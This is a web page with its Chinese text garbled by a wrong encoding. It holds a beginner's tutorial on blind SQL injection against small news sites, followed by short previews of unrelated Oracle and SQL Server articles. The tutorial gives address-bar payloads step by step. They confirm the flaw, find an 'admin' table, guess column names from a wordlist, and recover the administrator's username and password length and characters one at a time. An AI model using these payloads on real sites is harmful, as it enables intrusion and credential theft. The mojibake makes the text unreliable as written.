Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

²ËÄñѧϰSQL×¢Éä

 Ò»°ã¹úÄÚµÄСһµãµÄÐÂÎÅÕ¾µã³ÌÐò ¶¼ÓÐ ""&request ÕâÖÖ©¶´£¬ÏÂÃæÎÒ½²½â¹¥»÷·½·¨
ÔÚµØÖ·À¸£º
and 1=1
²é¿´Â©¶´ÊÇ·ñ´æÔÚ,Èç¹û´æÔÚ¾ÍÕý³£·µ»Ø¸ÃÒ³,Èç¹ûûÓÐ,ÔòÏÔʾ´íÎ󣬼ÌÐø¼ÙÉèÕâ¸öÕ¾µÄÊý¾Ý¿â´æÔÚÒ»¸öadmin±í
ÔÚµØÖ·À¸£º
and 0<>(select count(*) from admin)
·µ»ØÒ³Õý³£,¼ÙÉè³ÉÁ¢ÁË¡£
ÏÂÃæÀ´²Â²Â¿´Ò»Ï¹ÜÀíÔ±±íÀïÃæÓм¸¸ö¹ÜÀíÔ±ID£º
and 1<(select count(*) from admin)
Ò³Ãæʲô¶¼Ã»ÓС£¹ÜÀíÔ±µÄÊýÁ¿µÈÓÚ»òÕßСÓÚ1¸ö
and 1=(select count(*) from admin)
ÊäÈë=1ûÏÔʾ´íÎó£¬ËµÃ÷´ËÕ¾µãÖ»ÓÐÒ»¸ö¹ÜÀíÔ±¡£
ÏÂÃæ¾ÍÊÇÒª¼ÌÐø²Â²âadmin ÀïÃæ¹ØÓÚ¹ÜÀíÔ±Óû§ÃûºÍÃÜÂëµÄ×Ö¶ÎÃû³Æ¡£
and 1=(select count(*) from admin where len(username)>0)
²Â½â´íÎó!²»´æÔÚ username Õâ¸ö×ֶΡ£Ö»ÒªÒ»Ö±¸Ä±äÀ¨ºÅÀïÃæµÄusernameÕâ¸ö×Ö¶Î,ÏÂÃæ¸ø´ó¼Ò¼¸¸ö³£ÓõÄ
user,users,member,members,userlist,memberlist,userinfo,admin,manager,Óû§,yonghu
Óû§Ãû³Æ×ֶβ½âÍê³ÉÖ®ºó¼ÌÐø²Â½âÃÜÂë×Ö¶Î
and 1=(select count(*) from admin where len(password)>0)
password ×ֶδæÔÚ£¡ÒòΪÃÜÂë×Ö¶ÎÒ»°ã¶¼ÊÇÕâ¸öÀ­,Èç¹û²»ÊǾÍÊÔÊÔpassÈç¹û»¹²»ÊǾÍ×Ô¼ºÏëÏë°É
ÎÒÃÇÒѾ­ÖªµÀÁ˹ÜÀíÔ±±íÀïÃæÓÐ3¸ö×ֶΠid,user,password¡£
id 񅧏
user ̞
password ÃÜÂë
ÏÂÃæ¼ÌÐøµÄ¾ÍÊǹÜÀíÔ±Óû§ÃûºÍÃÜÂëµÄ²Â½âÁË¡£Ò»¸öÒ»¸öÀ´,ÓеãÂé·³,×îºÃÕÒ¸ö²Â½â»úÀ´
ÏȲ³ö³¤¶È!
and 1=(select count(*) from admin where len(user)<10)
user ×ֶ㤶ÈСÓÚ10
and 1=(select count(*) from admin where len(user)<5)
user ×ֶγ¤¶È²»Ð¡ÓÚ5
ÂýÂýµÄÀ´,×îºó²Â³ö³¤¶ÈµÈÓÚ6,Çë¿´ÏÂÃæ,·µ»ØÕý³£¾Í˵Ã÷²Â½âÕýÈ·
and 1=(select count(*) from admin where len(user)=6)
ÏÂÃæ²ÂÃÜÂë,
and 1=(select count(*) from admin where len(password)=10)
²Â³öÀ´ÃÜÂë10λ,²»ÒªÆæ¹Ö,ÏÖÔÚÍø¹Ü¶¼ÓзÀ±¸µÄ,ËùÒÔÃÜÂëÉÏ20λҲ²»Ì«Ææ¹ÖÁË
ÏÂÃæ¸Ã×öµÄ¾ÍÊÇ°ÑËûÃDzð¿ªÀ´Ò»¸öÒ»¸ö²Â×Öĸ
and 1=(select count(*) from admin where left(user,1)=a)
·µ»ØÕý³££¬µÚһλ×ÖĸµÈÓÚa,ǧÍò²»Òª°Ñ´óдºÍСд¸ø¸ã´íÁËŶ~~ºÇºÇ,Èç¹û²»a¾Í¼ÌÐø²ÂÆäËûµÄ×Ö·ûÂä,·´Õý²Âµ½·µ»ØÕý³£¾ÍËãOKÁË
¿ªÊ¼²Â½âÕʺŵĵڶþλ×Ö·û¡£
and 1=(select count(*) from admin where left(user,2)=ad)
¾ÍÕâÑùÒ»´Î¼ÓÒ»¸ö×Ö·ûÕâÑù²Â,²Âµ½¹»Äã¸Õ²Å²Â³öÀ´µÄ¶àÉÙλÁ˾ͶÔÁË,ÕʺžÍËã³öÀ´ÁË
¹¤×÷»¹Ã»ÓÐÍê,±ðæ×ÅÅÜÁË,»


Ïà¹ØÎĵµ£º

Oracle ϵÁУºPL/SQL±í

 Oracle ϵÁУº PL/SQL±í
Ò»£¬Ê²Ã´ÊÇPL/SQL±í£¿
 Ê×ÏÈPL/SQL±íºÍ¼Ç¼(Record)Ò»Ñù£¬¶¼ÊǸ´ºÏÊý¾ÝÀàÐÍ¡£¿ÉÒÔ¿´×öÊÇÒ»ÖÖÓû§×Ô¶¨ÒåÊý¾ÝÀàÐÍ¡£
 PL/SQL±íÓɶàÁе¥ÐеıêÁ¿¹¹³ÉµÄÁÙʱË÷Òý±í¶ÔÏó¡£×é³ÉÀàËÆÓÚһάÊý×é¡£
 Çø±ðºÍÁªÏµ¼Ç¼(Record)µÄµ¥ÐжàÁкÍÎïÀí´æ´¢Êý¾ÝµÄ±í¡£
 Record + PL/SQL± ......

SQL ServerÐÔÄܵ÷ÓÅÈëÃÅ£¨Í¼Îİ棩

µÚÒ»²½£¬ÔÚÒµÎñ¸ß·åÆÚץȡÑù±¾Êý¾Ý£¨2¸öСʱ×óÓÒ£©¡£²ÉÓõŤ¾ßÊÇsqlserver×Ô´øµÄprofiler£¬Ò²½Ðʼþ̽²éÆ÷£¬ÈçÏÂͼ£º

½øÈëºó£¬µã»÷×î×óÃæµÄ°´Å¥£¬½¨Á¢Ò»¸öеĸú×Ù£º

µÇ¼ÐèÒªÓÃDBOȨÏÞ£¬ËùÒÔ¿ÉÒÔÓÃsaµÇ¼£¬Ò²¿ÉÒÔÓÃwindows¼¯³ÉÑéÖ¤·½Ê½£¨Èç¹ûµ±Ç°µÇ¼µÄ¾ÍÊÇsqlserverµÄ»°£©

н¨¸ú×Ù£¬Ò»¹²ÓÐ4¸ötabÒ³½øÐÐÅ ......

50ÖÖÇÉÃîÓÅ»¯SQL ServerÊý¾Ý¿âµÄ·½·¨(ת)


50ÖÖÇÉÃîÓÅ»¯SQL ServerÊý¾Ý¿âµÄ·½·¨
×÷Õߣº²»Ïê ³ö´¦£º²»Ïê
²éѯËÙ¶ÈÂýµÄÔ­ÒòºÜ¶à£¬³£¼ûÈçϼ¸ÖÖ£º
ûÓÐË÷Òý»òÕßûÓÐÓõ½Ë÷Òý(ÕâÊDzéѯÂý×î³£¼ûµÄÎÊÌ⣬ÊdzÌÐòÉè¼ÆµÄȱÏÝ)¡£
I/OÍÌÍÂÁ¿Ð¡£¬ÐγÉÁËÆ¿¾±Ð§Ó¦¡£
ûÓд´½¨¼ÆËãÁе¼Ö²éѯ²»ÓÅ»¯¡£
ÄÚ´æ²»×ã¡£
ÍøÂçËÙ¶ÈÂý¡£
²éѯ³öµÄÊý¾ÝÁ¿¹ý´ó(¿ÉÒÔ²ÉÓöà´Î²éѯ£¬ ......

Using Oracle Index Hints in SQL statements

Using Oracle Index Hints in SQL statements
Hints are used to give specific information that we know about our data and application, to Oracle. This further improves the performance of our system. There can be instances where the default optimizer may not be efficient for a certain SQL statements. W ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ